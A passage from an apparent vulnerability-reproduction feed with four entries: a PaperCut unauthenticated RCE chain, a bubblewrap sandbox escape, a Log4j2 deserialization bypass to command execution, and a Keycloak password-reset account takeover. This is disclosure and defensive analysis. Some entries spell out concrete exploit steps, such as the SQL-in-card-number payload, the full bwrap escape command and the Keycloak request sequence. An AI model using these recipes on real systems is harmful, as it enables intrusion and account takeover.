...)`, the card number (bound to the `?`) becomes an arbitrary SQL query whose CLOB result is written verbatim to an arbitrary filesystem path. The advisory IoCs fall out of this naturally: failed attempts log `Database error looking up cardID: VALUES CAST...` and driver probing logs `No suitable driver found for jdbc:...`. Fix commit: no public commit (commercial product). Vendor advisory: `https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory` (emergency builds 25.0.12 build 76497 / 26.x; the FAQ documents the new EXEC/EXECUTE/CALL restriction). ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; requires docker + curl + python3; downloads the two official installers with vendor-published SHA-256 verification). 2. The script builds `pcng-vuln` (25.0.11.75758) and `pcng-fixed` (25.0.12.76497) images, starts both Application Servers, completes the stock setup wizard on each, performs one operator-side admin login + ConfigEditor render per server (models a normally operated server; warms Tapestry's pooled page/table state that the form-rewind path needs), and then runs the entire attack with **unauthenticated remote HTTP requests only**: - Phase A1: config write via `service=direct/1/Home/ConfigEditor/...` (arms `user-lookup.*` and `auth.web-login.card-id.*`). - Phase A2: two pre-auth card-login requests whose card number is `VALUES(CAST('' AS CLOB))`; the Derby export plants `WEB-INF/Pwn3.page` and `Pwn3.html` (OGNL payload) in the live webapp dir. - Phase A3: `GET /app?service=page/Pwn3` evaluates the OGNL payload. - Phase A4: `GET /pwn-proof.txt` retrieves the command output (remote receipt). - Phase B: identical request sequence against 25.0.12; verifies the armed lookup reaches the new filter (`Unsafe external user lookup SQL blocked`), no files are planted, no command receipt exists, and a benign non-CALL SQL template still executes (proving the feature works and only dangerous SQL is blocked). 3. Expected evidence: vuln proof file containing `PC0DAY-PROOF-BEGIN ... uid=1001(papercut) ... PC0DAY-PROOF-END` fetched over HTTP; fixed build logs the SQL block and returns 404 for the proof file. Exit code 0 = chain proven on 25.0.11 and blocked on 25.0.12. ## Evidence - Full run log: `bundle/logs/reproduction_steps.log` (two consecutive clean runs, both exit 0). - Remote command receipt (fetched over HTTP): `bundle/artifacts/vuln-proof.txt`. - Planted-page render response: `bundle/artifacts/vuln-render.html`. - Vulnerable server.log IoC excerpts (attacker payload visible in `Database error looking up cardID: VALUES(CAST(...)`): `bundle/artifacts/vuln-serverlog-ioc.txt`. - Fixed-build server.log excerpts showing `Unsafe external user lookup SQL blocked` plus the benign-SQL Derby error: `bundle/artifacts/fixed-serverlog-ioc.txt`. - Per-request transcripts: `bundle/artifacts/*-wiz*.html(.headers)`, `bundle/artifacts/fixed-configwrite.html(.headers)`, `bundle/artifacts/vuln-proof.headers`, etc. - Build identities: `bundle/artifacts/vuln-version.txt`, `bundle/artifacts/fixed-version.txt`; installer SHA-256s verified against the vendor advisory page (vuln 64495771…817a, fixed 0782c1d6…c392). - Runtime manifest: `bundle/repro/runtime_manifest.json`. - Patch localization (25.0.11 vs 25.0.12 class diff): `ExternalUserLookupDb` (SQL filter — the effective fix), `BasePaperCutPage` (service-path rights), `StandardRhinoContextFactory` (new Rhino ClassShutter blocking `java.lang.Class/ClassLoader/reflect/invoke`), `WebConfig` (path matching / response headers), `RestrictApiAccessFilter` (URI canonicalization). ## Recommendations / Next Steps - Upgrade to the emergency build (25.0.12 / 26.0.3+) per the vendor advisory. - The 25.0.12 fix blocks the RCE at the SQL layer, but the unauthenticated ConfigEditor write via Tapestry complex direct service was still observable on 25.0.12 in this lab (Home overrides `pageValidate` without invoking the new service-path check). Recommend PaperCut route the rights check through a path that Home cannot skip (e.g., validate the component page in `DirectService` itself or move checks into a servlet filter), and audit every privileged page listener for the same pattern. - Defense-in-depth: disallow `CALL`/`EXEC`/`SYSCS_` (already patched), consider allowing only plain `SELECT` templates; do not let `user-lookup.db-driver` accept arbitrary driver class names; disallow absolute paths in Derby export procedures via a Java SecurityManager-equivalent policy is no longer possible on JDK 21, so statement allow-listing is the right layer. - Network-level: keep the Application Server web interface off untrusted networks (vendor's immediate guidance). ## Additional Notes - Idempotency: the script was run end-to-end twice consecutively (fresh containers each time), both runs exited 0. Derby export procedures refuse to overwrite existing files, so each run uses fresh output paths (`/tmp/pc0day-a.csv`, `pc0day-b.csv`, unique per run) and fresh containers. - Precondition: the Tapestry form-rewind path used for the config write relies on the pooled ConfigEditor page/table state, which exists after the Config Editor page has been rendered once since server start (any normal admin UI usage). The script performs this as an operator-side action (setup wizard admin account); it is not part of the attacker's request sequence. On a production server that has ever opened Options → Config Editor this precondition holds naturally. - The card number is bound as a JDBC parameter (`?`), so no SQL-escaping of the payload is required; the entire export query rides in the card value. Content written to files must avoid single quotes or use Derby literal doubling; the OGNL payload sidesteps this by constructing strings from byte arrays. - The print/device-script (Rhino) route was not needed; 25.0.12 additionally shutters Rhino reflection (`StandardRhinoContextFactory`), closing the alternate script-based escalation. ### Reproduction - Reproduced: 2026-08-31T05:51:19.235Z - Duration: 9828s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00340 # or: pruva-verify CVE-2026-81578 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00340 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00340/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00340 ================================================================================ ## REPRO-2026-00339: bubblewrap: sandbox escape via /oldroot symlink traversal during setup — files created on host -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00339 - GHSA: GHSA-PXHW-H44J-8PFX (https://github.com/containers/bubblewrap/security/advisories/GHSA-pxhw-h44j-8pfx) ### Package Information - Name: bubblewrap - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) ### Root Cause # RCA Report — GHSA-pxhw-h44j-8pfx: bubblewrap sandbox escape via /oldroot symlink traversal during setup ## Summary During sandbox setup, bubblewrap (bwrap) mounts the host filesystem at `/oldroot` and builds the sandbox root at `/newroot`. When a setup operation that creates a file or directory (e.g. `--dir`, `--file`, `--bind-data`, `--ro-bind-data`) has a destination whose parent components contain a symbolic link, vulnerable versions resolve that symlink with plain `mkdir()`/`open()` path semantics. If the symlink lives in attacker-controlled filesystem content (such as a malicious Flatpak app image bound at `/`) and points at an absolute path under `/oldroot/...`, the creation is redirected out of the sandbox and onto the **host filesystem**. This happens during setup, before any sandboxed code runs. We reproduced the escape end-to-end with the real `bwrap` CLI: a directory and an attacker-content marker file were created on the host in 2/2 vulnerable attempts, while the fixed version failed closed in 2/2 attempts. ## Impact - **Package/component:** `bubblewrap` (`bwrap`), used by Flatpak and similar app frameworks. - **Affected versions:** `< 0.12.0` (confirmed on v0.11.0, commit `9ca3b05ec787acfb4b17bed37db5719fa777834f`). No backport exists; the fix is only in v0.12.0, which also drops setuid build support. - **Risk level and consequences:** High (advisory scores 8.8). An attacker who controls filesystem content that a launcher binds into the sandbox can cause bwrap to create directories and attacker-controlled files at arbitrary host paths writable by the launching uid/gid (generally unprivileged). This can overwrite/seed config files, startup scripts, SSH keys, etc., enabling further compromise. If bwrap is invoked by a privileged (setuid) launcher, the write is privileged. ## Impact Parity - **Disclosed/claimed maximum impact:** sandbox escape — files created on the host outside the sandbox during setup (CWE-22 path traversal). - **Reproduced impact from this run:** sandbox escape — `--dir` created `/subdir/newdir` on the host and `--file` wrote a fully attacker-controlled marker file (`ESCAPE_MARKER.txt`) into it, outside the sandbox, through the real `bwrap` CLI entrypoint, in both vulnerable attempts. - **Parity:** `full` - **Not demonstrated:** privileged (root) file creation — the run used an unprivileged launcher, matching the advisory's typical (non-setuid) scenario; this is a deployment precondition, not a gap in the vulnerability proof. ## Root Cause In v0.11.0, `setup_newroot()` (bubblewrap.c:1189) processes each setup op and, for ops with a destination, computes `dest = get_newroot_path(op->dest)` which returns the absolute path `/newroot/` (utils.c:868). It then calls `mkdir_with_parents(dest, parent_mode, false)` (bubblewrap.c:1233) and, for file-creating ops, `ensure_dir()`/`ensure_file()`/`open()` on the resulting path. `mkdir_with_parents()` (utils.c:705) walks the path component by component calling `mkdir()`, which **follows symlinks** in parent components with full host-kernel resolution. At that point in setup, bwrap has already `pivot_root()`ed into a scratch tmpfs (bubblewrap.c:3345) so that the namespace root contains `oldroot/` (a bind of the host filesystem) and `newroot/` (the sandbox root under construction). An absolute symlink inside attacker-controlled content that was bound at `/` (= `/newroot`) therefore resolves against the setup namespace root: a symlink `/subdir -> /oldroot/tmp/.../host_target` makes `mkdir /newroot/subdir/newdir` create `/oldroot/tmp/.../host_target/newdir`, i.e. a directory on the **host**. The same applies to `--file`/`--bind-data`/ `--ro-bind-data`, which additionally write attacker-controlled content. `resolve_symlinks_in_ops()` (bubblewrap.c:1615) only realpaths the **source** paths of bind mounts, not the **destination** paths of file/dir-creating ops, so it does not mitigate this. **Fix:** v0.12.0 (tag `2a76602a8c71f36c1527cf9fc3417d9149822e0c`) resolves all destination paths with `openat2(RESOLVE_IN_ROOT)` via `safe_openat()` imported from crun (commit `67d4be103b18706b5b4e3f495daa35e89e47b163`, with a `chroot_realpath.c` fallback for pre-5.6 kernels) together with commit `ea185f6fb135782cabab342e33432e8482a2f5c9` ("Inline the privileged ops"), so symlink resolution is confined to `/newroot` and escaping symlinks fail with ENOENT instead of being followed onto the host. Advisory: https://github.com/containers/bubblewrap/security/advisories/GHSA-pxhw-h44j-8pfx ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; run from any directory, exit 0 = confirmed). 2. What the script does: - Reads `bundle/project_cache_context.json` and reuses the prepared project cache (`/repo`), falling back to `bundle/artifacts/`. - Clones `containers/bubblewrap`, verifies the vulnerable commit (v0.11.0 = `9ca3b05e...`) lacks fix commits `67d4be10...`/`ea185f6f...` and the fixed commit (v0.12.0 = `2a76602a...`, the ticket's fixed tag) contains them; also checks the source trees (`safe_openat.c` absent/present). - Builds both versions with the system `gcc` (no sudo in this environment: libcap headers are obtained by downloading the `libcap-dev` .deb and extracting it; the only required `config.h` macro, `PACKAGE_STRING`, is generated; no sanitizer is used — this is a plain product build). - Smoke-tests that unprivileged user namespaces work. - Runs the advisory recipe hermetically, twice per build: creates `untrusted/subdir -> /oldroot` and invokes `bwrap --bind / --ro-bind /usr /usr --ro-bind /lib /lib --ro-bind /lib64 /lib64 --dir /subdir/newdir --file 3 /subdir/newdir/ESCAPE_MARKER.txt /usr/bin/true` with a known marker content on fd 3. - Verifies per attempt: vulnerable builds must exit 0 **and** leave `/newdir/ESCAPE_MARKER.txt` on the host with the exact attacker content; fixed builds must exit non-zero **and** leave nothing. - Writes `bundle/repro/runtime_manifest.json` with SHA-256 of every proof artifact. 3. Expected evidence: vulnerable attempts show the marker file on the host; fixed attempts log `bwrap: Can't mkdir parents for /subdir/newdir: No such file or directory` and create nothing on the host. ## Evidence - `bundle/logs/attempt-vuln-1.log`, `bundle/logs/attempt-vuln-2.log` — bwrap v0.11.0 exits 0, sandboxed `/usr/bin/true` runs, and the post-run listing shows `host_target/newdir/ESCAPE_MARKER.txt` with the attacker-controlled content `BWRAP_OLDROOT_ESCAPE_`. - `bundle/logs/attempt-fixed-1.log`, `bundle/logs/attempt-fixed-2.log` — bwrap v0.12.0 exits 1 with `Can't mkdir parents for /subdir/newdir: No such file or directory`; host target remains empty. - `bundle/repro/work/vuln-{1,2}/host_target/newdir/ESCAPE_MARKER.txt` — the actual marker files created on the host by the vulnerable binary. - `bundle/repro/proof_summary.txt` — per-attempt verdicts and binary SHA-256s. - `bundle/repro/runtime_manifest.json` — entrypoint `cli_command`, `target_path_reached=true`, proof artifacts with SHA-256 hashes. - Environment: Linux 6.8.0-138-generic x86_64, uid 1000 (unprivileged), `kernel.unprivileged_userns_clone=1`, user namespaces functional (see `bundle/logs/smoke_test.log`). Openat2-capable kernel (>= 5.6), so the fixed build exercises the real `RESOLVE_IN_ROOT` path. Key excerpt (vulnerable attempt): ``` command: timeout 30 .../bwrap-v0.11.0 --bind .../untrusted / --ro-bind /usr /usr ... --dir /subdir/newdir --file 3 /subdir/newdir/ESCAPE_MARKER.txt /usr/bin/true --- exit_code: 0 host_target (post-run): .../host_target/newdir: -rw-rw-rw- 1 pruva pruva ... ESCAPE_MARKER.txt host marker content: BWRAP_OLDROOT_ESCAPE_20260826T200804Z ``` Key excerpt (fixed attempt): ``` --- exit_code: 1 bwrap: Can't mkdir parents for /subdir/newdir: No such file or directory host marker content: ``` ## Recommendations / Next Steps - **Fix approach (upstream, already shipped):** confine all destination path resolution to the new root using `openat2(RESOLVE_IN_ROOT)` (`safe_openat()`), with the `chroot_realpath` fallback on pre-5.6 kernels — commits `67d4be103b18706b5b4e3f495daa35e89e47b163` and `ea185f6fb135782cabab342e33432e8482a2f5c9` in v0.12.0. - **Upgrade guidance:** upgrade to bubblewrap >= 0.12.0. There is no backport for versions that support setuid builds; users relying on setuid bwrap should migrate to unprivileged user namespaces. Until upgraded, avoid binding attacker-controlled filesystem content into sandboxes (audit Flatpak-style launchers for `--bind /` combined with file/dir-creating options). - **Testing recommendations:** regression-test every file/dir-creating option (`--dir`, `--file`, `--bind-data`, `--ro-bind-data`, `--chmod`, bind dest auto-creation) with parent symlinks targeting both `/oldroot/...` (absolute) and relative `..` chains; the variant-analysis stage covers these. ## Additional Notes - **Idempotency:** the script was run four consecutive times (two before the manifest-ordering fix, two after), all exiting 0; per-attempt work directories are wiped and recreated (`rm -rf`) so runs are hermetic and repeatable. Cache reuse (repo/build/tools) makes reruns take ~2 s. - **No sudo/pip in this environment:** the build avoids meson (not installable without root) by compiling the four (vuln) / six (fixed) upstream C files directly with gcc; this is byte-identical upstream source at the anchored commits, and binary SHA-256s are recorded in `proof_summary.txt`. - **Non-sanitized product proof:** the primary oracle is real product behavior (host filesystem state + CLI exit codes), not ASAN/UBSAN. - **"Host" scope:** bwrap was executed directly on this machine (not nested in Docker), so `/oldroot` is the real machine root and the marker files land in the real filesystem outside any bwrap namespace. - **Edge cases not covered here (delegated to variant analysis):** `--file`, `--bind-data`, `--ro-bind-data` as the *primary* creating op without `--dir`; relative (`../../oldroot`) symlink targets; `--symlink`-created parents; pre-5.6 kernel fallback path of the fix. ### Reproduction - Reproduced: 2026-08-26T21:14:47.510Z - Duration: 1108s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00339 # or: pruva-verify GHSA-PXHW-H44J-8PFX ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00339 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00339/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00339 ================================================================================ ## REPRO-2026-00338: Apache Log4j2 serialized LogEvent filter bypass to conditional RCE -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00338 - GHSA: GHSA-LOG4J2-4255-MARSHALLEDOBJECT (https://github.com/advisories/GHSA-LOG4J2-4255-MARSHALLEDOBJECT) ### Package Information - Name: org.apache.logging.log4j:log4j-core - Ecosystem: maven - Affected: log4j-api 2.11.0-2.26.1; log4j-core 2.8.0-2.26.1 (verified against official 2.26.1 jars from Maven Central) - Fixed: none yet - upstream issue open, waiting-for-maintainer label; no CVE/GHSA assigned - Severity: critical - CVSS: Unknown - CWE: CWE-502 (Deserialization of Untrusted Data) ### Root Cause # Root Cause Analysis ## Summary Apache Log4j2 2.26.1 and earlier permits an allowlist bypass in `FilteredObjectInputStream` (FOIS) because `java.rmi.MarshalledObject` is itself allowlisted. A serialized `Log4jLogEvent.LogEventProxy` can carry attacker-controlled inner serialized bytes that are automatically unpacked by `MarshalledObject.get()` through another `ObjectInputStream`. In this run, one exact payload was replayed through the real Apache `TcpSocketServer` / `ObjectInputStreamLogEventBridge` TCP product path and executed an attacker-selected OS command in two fresh receiver JVMs. The same bytes were rejected by two receivers using the minimal patched API. ## Impact - **Affected components:** `log4j-api` 2.11.0 through 2.26.1 and `log4j-core` 2.8.0 through 2.26.1 when used by a FOIS-based serialized-event receiver. - **Validated product path:** `org.apache.logging.log4j.server.TcpSocketServer` with `ObjectInputStreamLogEventBridge` from Apache `logging-log4j-samples` commit `672a1555c7f5670e7affcc7b9984a90b492eb322`, running official Log4j API/Core 2.26.1 artifacts. - **Risk:** Critical where this unauthenticated serialized-event listener is reachable and a usable gadget library is on the receiver classpath. An attacker can bypass the intended class allowlist and execute commands with the receiver process account. ## Impact Parity - **Disclosed/claimed maximum impact:** Remote unauthenticated arbitrary deserialization leading to code execution. - **Reproduced impact from this run:** Remote receiver-side command execution through the required TCP entrypoint. A single generated CC6 payload file was replayed unchanged to two vulnerable JVM instances and produced process-unique `PWNED-TIER2` markers containing receiver-side shell and parent process IDs plus account identity. - **Parity:** `full`. - **Not demonstrated:** Privilege escalation beyond the account running the receiver was not claimed or tested. ## Root Cause Vulnerable `log4j-api` includes `java.rmi.MarshalledObject` in `SerializationUtil.REQUIRED_JAVA_CLASSES`. FOIS checks outer class descriptors in `resolveClass()`, but the object graph stored by `MarshalledObject` is opaque bytes at that stage. During deserialization of `Log4jLogEvent.LogEventProxy`, `readResolve()` calls `message()`, which calls `marshalledMessage.get()`. That operation deserializes the inner graph in another `ObjectInputStream`, outside FOIS's class-name check. A non-allowlisted object can therefore execute its `readObject()` callback, and a receiver-loadable gadget graph can reach `Runtime.exec`. The tested minimal correction removes `java.rmi.MarshalledObject` from `REQUIRED_JAVA_CLASSES`, causing FOIS to reject the carrier before its inner bytes are unpacked. `bundle/logs/fix.patch` records the exact change. The upstream report is https://github.com/apache/logging-log4j2/issues/4255; it was still open at reproduction time and did not identify a merged fix commit, so the negative control applies the report's minimal suggested fix to official 2.26.1 source. ## Reproduction Steps 1. Run `bash bundle/repro/reproduction_steps.sh` from any directory. The script uses `PRUVA_ROOT` or resolves the bundle path itself. 2. It reads `bundle/project_cache_context.json`, uses `/repo` when prepared, verifies the Apache samples origin and exact commit, and extracts the real `log4j-server` sources. 3. It verifies official Log4j 2.26.1 and Commons Collections 3.2.1 jar hashes, compiles the real `TcpSocketServer` and `ObjectInputStreamLogEventBridge` classes, and records their runtime `CodeSource` paths. 4. It generates each serialized payload once and sends the exact file bytes over localhost TCP. It performs direct unwrapped-object rejection, wrapped inner deserialization twice, wrapped CC6 command execution twice, the same tier-2 bytes against two patched receivers, and the same bytes against `-Djdk.serialFilter=!java.rmi.MarshalledObject`. 5. It validates all assertions and writes `bundle/repro/runtime_manifest.json`. Exit 0 means the claim is confirmed. ## Evidence - **Exact identity:** `bundle/logs/target_identity.txt` binds samples commit `672a1555c7f5670e7affcc7b9984a90b492eb322`, Log4j commit `dd0f9d255e24e6bcc13bd2641407a409c0524803`, official API/Core jar hashes, target digest `7310f18dd2601851bcc37b1963906cbd86f417a18b196251c8fe64a6b3b18673`, and runtime digest `98b16715ef49ca21a5b32b7184a718cb9110ddc5269b06be0c3e3167467df639`. - **Exact attacker input:** `bundle/logs/payload_identity.txt` records the SHA-256 of each pre-generated input. The final tier-2 input has SHA-256 `4e3a504e6d390c37a57253a323d3d91382f8ef92caa95a9e2c2193f38a707217`; sender logs prove identical byte count/file reuse across vulnerable, patched, and mitigated attempts. - **Real TCP/product boundary:** `bundle/logs/receiver_tier2_a1.log` and `receiver_tier2_a2.log` identify loaded `TcpSocketServer`, `ObjectInputStreamLogEventBridge`, vulnerable API/Core jars, and Commons Collections; they then show binding, connection acceptance, socket details, and the deserialized event. - **Command execution:** `bundle/logs/tier2_rce_marker_a1.txt` contains token `RCE-1787737383615632389-15376`, `shell_pid=39677`, and `parent_pid=39626`; attempt a2 contains the same payload token but distinct `shell_pid=39759` and `parent_pid=39708`. Both include `uid=1000(vscode)`, proving execution in two fresh receiver contexts. - **Direct control:** `bundle/logs/receiver_control.log` shows `ObjectInputStreamLogEventBridge.logEvents()` rejecting unwrapped `poc.GadgetOnly` through `FilteredObjectInputStream.resolveClass()`. - **Fixed controls:** `bundle/logs/receiver_fixed_a1.log` and `receiver_fixed_a2.log` show TCP acceptance followed by `InvalidObjectException: Class is not allowed for deserialization: java.rmi.MarshalledObject`; the shared command target is absent. - **Mitigation:** `bundle/logs/receiver_mitigation.log` shows the same TCP/readObject path failing with `InvalidClassException: filter status: REJECTED` and no marker. - **Digest closure:** `bundle/repro/runtime_manifest.json` binds 29 finalized proof artifacts to SHA-256 digests and records `entrypoint_kind=tcp_peer`, service/health/path success, and full target/runtime identity. ## Recommendations / Next Steps Remove `java.rmi.MarshalledObject` from the default Log4j deserialization allowlist and avoid unfiltered `MarshalledObject.get()` for event messages; use a filtered wrapped-object format instead. Upgrade to the first vendor release containing the final upstream correction once published. Do not expose Java serialized-event listeners to untrusted networks. As defense in depth, configure a JEP 290 class filter rejecting `java.rmi.MarshalledObject`, remove unnecessary gadget libraries, and add regression tests that replay a malicious event through the real TCP receiver and require fail-closed rejection. ## Additional Notes The final script was executed successfully twice consecutively after all amendments. Every execution uses isolated receiver JVMs and randomized ports, removes prior proof artifacts, generates a fresh payload token, and verifies exact payload-byte reuse across vulnerable and controls. Service startup, TCP health, and target-path reachability are tracked independently, and a failed run preserves digest-bound evidence from completed phases. The launcher does not implement a socket, parser, or `readObject()` path; it only selects serialized mode through `TcpSocketServer.createSerializedSocketServer()`. ### Reproduction - Reproduced: 2026-08-26T19:58:13.909Z - Duration: 4411s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00338 # or: pruva-verify GHSA-LOG4J2-4255-MARSHALLEDOBJECT ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00338 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00338/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00338 ================================================================================ ## REPRO-2026-00337: Keycloak reset-credentials flow: unauthenticated account takeover (CWE-640) -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00337 - CVE: CVE-2026-18963 (https://nvd.nist.gov/vuln/detail/CVE-2026-18963) ### Package Information - Name: org.keycloak:keycloak-services (Maven) - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-640 Weak Password Recovery Mechanism for Forgotten Password ### Root Cause # CVE-2026-18963 — Keycloak reset-credentials unauthenticated account takeover (CWE-640) ## Summary Keycloak's "reset credentials" (forgot-password) flow can be pivoted by an unauthenticated attacker onto any victim account. Two defects combine: (1) the authenticator-selection ("try another way") state is stored as a plain boolean auth note (`AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"`), so a simple GET refresh of the reset-credentials execution URL re-renders the selector screen for the *current* flow execution; and (2) `ResetCredentialEmail.action()` blindly calls `context.success()` without verifying that the request actually arrived via the emailed action token (`ACTION_TOKEN_USER_ID` auth note). An attacker who initiates a password reset for a victim's username can therefore re-enter the selector screen after the reset email was sent to the victim, POST to the now-reachable `reset-credential-email` execution without any action token, force the flow forward to the `UPDATE_PASSWORD` required action, and set an attacker-chosen password on the victim account — a full unauthenticated account takeover. The attacker never sees the victim's reset email. ## Impact - Package/component: `org.keycloak:keycloak-services` (`services` module: `org.keycloak.authentication.DefaultAuthenticationFlow`, `org.keycloak.authentication.authenticators.resetcred.ResetCredentialEmail`) - Affected: Keycloak upstream < 26.4.15, 26.5.x, 26.6.0–26.6.5, 26.7.0–26.7.1 (verified at source level); Red Hat build of Keycloak 26.4/26.6 before container 26.6-12; RH-SSO 7; JBoss EAP Expansion Pack (per advisory RHSA-2026:56519/56523/56524) - Verified affected: `quay.io/keycloak/keycloak:26.7.1` (source tag 26.7.1, commit 73f08b397f193712b26d317210dce99898129709) - Verified fixed: `quay.io/keycloak/keycloak:26.7.2` (source tag 26.7.2, contains backport of fix commit cf6e4c8be318f1e38c4001730fe6db6930dad050) - Risk: critical (CVSS 9.1). Any unauthenticated remote attacker who knows a victim's username can take over the account (new password + authenticated session), provided the realm has "forgot password" enabled — a default, common configuration. ## Impact Parity - Disclosed/claimed maximum impact: unauthenticated account takeover (authz_bypass). - Reproduced impact from this run: unauthenticated account takeover — the victim's password was replaced without possessing the reset email link, an authenticated session (authorization code) as the victim was issued, and the new password was verified against the token endpoint (HTTP 200) while the old password stopped working (HTTP 400). - Parity: `full`. - Not demonstrated: nothing material — the claimed impact was fully reproduced. ## Root Cause In the vulnerable code (`services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java`, tag 26.7.1): 1. When the user clicks "try another way", `processAction()` stores `AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true"` (a boolean), not bound to any execution. 2. `processFlow()` checks only `Boolean.parseBoolean(note)` plus a non-null `CURRENT_AUTHENTICATION_EXECUTION` note. After the attacker posts the victim's username, `ResetCredentialEmail.authenticate()` sends the reset email and calls `context.forkWithSuccessMessage(EMAIL_SENT)`; the FORK handling sets `CURRENT_AUTHENTICATION_EXECUTION` to the *email execution id*. A subsequent GET refresh of the original reset-credentials URL therefore re-renders `createSelectAuthenticatorsScreen(emailExecution)`, whose HTML form action leaks the email execution UUID (`execution=`). 3. `ResetCredentialEmail.action()` (vulnerable) is: ```java public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); } ``` Posting to the leaked email-execution URL (no action token required) invokes this blind success, the required-elements chain continues to `reset-password` / `UPDATE_PASSWORD`, and the attacker sets a new password on the victim identity attached to the authentication session by `ResetCredentialChooseUser`. Fix (upstream commit `cf6e4c8be318f1e38c4001730fe6db6930dad050`, PR #51844, backported to 26.4.15 / 26.6.6 / 26.7.2): - The selector note now stores the execution model id, and `processFlow()` only re-renders the selector when the note matches `CURRENT_AUTHENTICATION_EXECUTION` (otherwise the note is removed) — the GET refresh after the email fork no longer re-renders the selector screen. - `ResetCredentialEmail.action()` now requires `user.getId().equals(authSession.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID))`, i.e. success is only possible through the emailed action token; otherwise the flow fails with `INVALID_USER`. The upstream regression test `ResetPasswordTest.resetPasswordTryAnotherWay()` served as the PoC blueprint for the flow-selector re-entry. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; helper `bundle/repro/smtp_sink.py` is a promoted required artifact). 2. The script: - Verifies at source level that tag 26.7.1 lacks and tag 26.7.2 contains the fix hunk. - Starts a dependency-free Python SMTP sink container (captures the victim's reset email, proving the action-token link is generated and sent only to the victim). - Starts Keycloak 26.7.1 (vulnerable), provisions realm `cvetest` (`resetPasswordAllowed=true`, SMTP → sink), user `victim` (email `victim@cvetest.local`, password `OldPass123!`), and a public direct-grant client `atk-cli` used only for verification. - Runs the full browser-equivalent attack with curl (cookie jar, per-page rotating `session_code` honored): login page → forgot-password → POST `tryAnotherWay=on` → POST `username=victim` → GET-refresh the original reset URL → POST the leaked email execution URL → POST the new password. - Asserts the pivot: step-5 refresh re-renders `kc-select-credential-form`, step-6 returns `302 → login-actions/required-action?execution=UPDATE_PASSWORD`, step-7 returns `302 → /account/?...&code=...` (attacker session as victim), and the token endpoint returns 200 for the new password / 400 for the old one. - Repeats the attack twice (password restored between attempts via admin API). - Repeats the same procedure twice against Keycloak 26.7.2 (fixed): the refresh must re-render the "You should receive an email shortly" page (no selector) and the victim password must remain unchanged. - Writes `bundle/repro/runtime_manifest.json` on every exit (trap) and streams all output to `bundle/logs/reproduction_steps.log`. 3. Expected evidence: `2/2` vulnerable attempts EXPLOITED, `2/2` fixed attempts BLOCKED, exit code 0. ## Evidence - `bundle/logs/reproduction_steps.log` — full transcript of both phases. - `bundle/logs/vuln-attempt-{1,2}.log` — per-attempt exploit transcripts. Key excerpts (attempt 1): - `step5 GET refresh -> selector markers=1 email-sent markers=0` and the re-rendered selector form action now contains `execution=0089b76d-...` (the email execution, different from the choose-user execution `141b34d5-...` used in steps 2–4). - `step6 POST email execution (no action token) -> HTTP/1.1 302 Found Location: .../login-actions/required-action?execution=UPDATE_PASSWORD...` — the blind `context.success()` fired without any action token. - `step7 new password -> HTTP/1.1 302 Found Location: http://localhost:8080/realms/cvetest/account/?session_state=...&code=...` — the attacker is issued an authorization code as `victim`. - `step8 takeover verify: NEW password token HTTP 200, OLD password token HTTP 400`. - `bundle/logs/fixed-attempt-{1,2}.log` — `step5 GET refresh -> selector markers=0 email-sent markers=1`; old password still 200, new password 400 → BLOCKED. - `bundle/logs/smtp-capture-final.log` — the captured "Reset password" email addressed `To: victim@cvetest.local` containing the real `/realms/cvetest/login-actions/action-token?key=eyJ...` link (which the attacker never receives). - `bundle/logs/http/-/step*.html|*.hdr` — raw HTTP responses/headers for every step of every attempt. - `bundle/logs/keycloak-vuln.log`, `bundle/logs/keycloak-fixed.log` — server logs; `server-version` reported by `/admin/serverinfo` was 26.7.1 / 26.7.2 respectively. - `bundle/repro/runtime_manifest.json` — runtime identity (image digests `quay.io/keycloak/keycloak@sha256:f1f1f01e…` vulnerable, `…@sha256:83133051…` fixed), attempt results, proof artifact list. - Environment: rootless Docker 27.5.1 on Linux x86_64; Keycloak `start-dev` (H2), hostname `http://localhost:8080`; no sanitizers involved (product runtime proof). ## Recommendations / Next Steps - Upgrade to a fixed build: upstream Keycloak ≥ 26.4.15 / ≥ 26.6.6 / ≥ 26.7.2; Red Hat build of Keycloak 26.6-12 container or later (RHSA-2026:56519, 56523, 56524). - The upstream fix is the correct approach: bind the selector-screen auth note to the execution model id and require the `ACTION_TOKEN_USER_ID` note in `ResetCredentialEmail.action()`. - Regression testing: keep `ResetPasswordTest.resetPasswordTryAnotherWay()` and add an end-to-end test asserting that a GET refresh after the email fork cannot surface the email execution's action URL. - Defense-in-depth: consider invalidating or single-using the email execution state once the action token is issued, and rate-limiting reset-credential initiations per username/IP. ## Additional 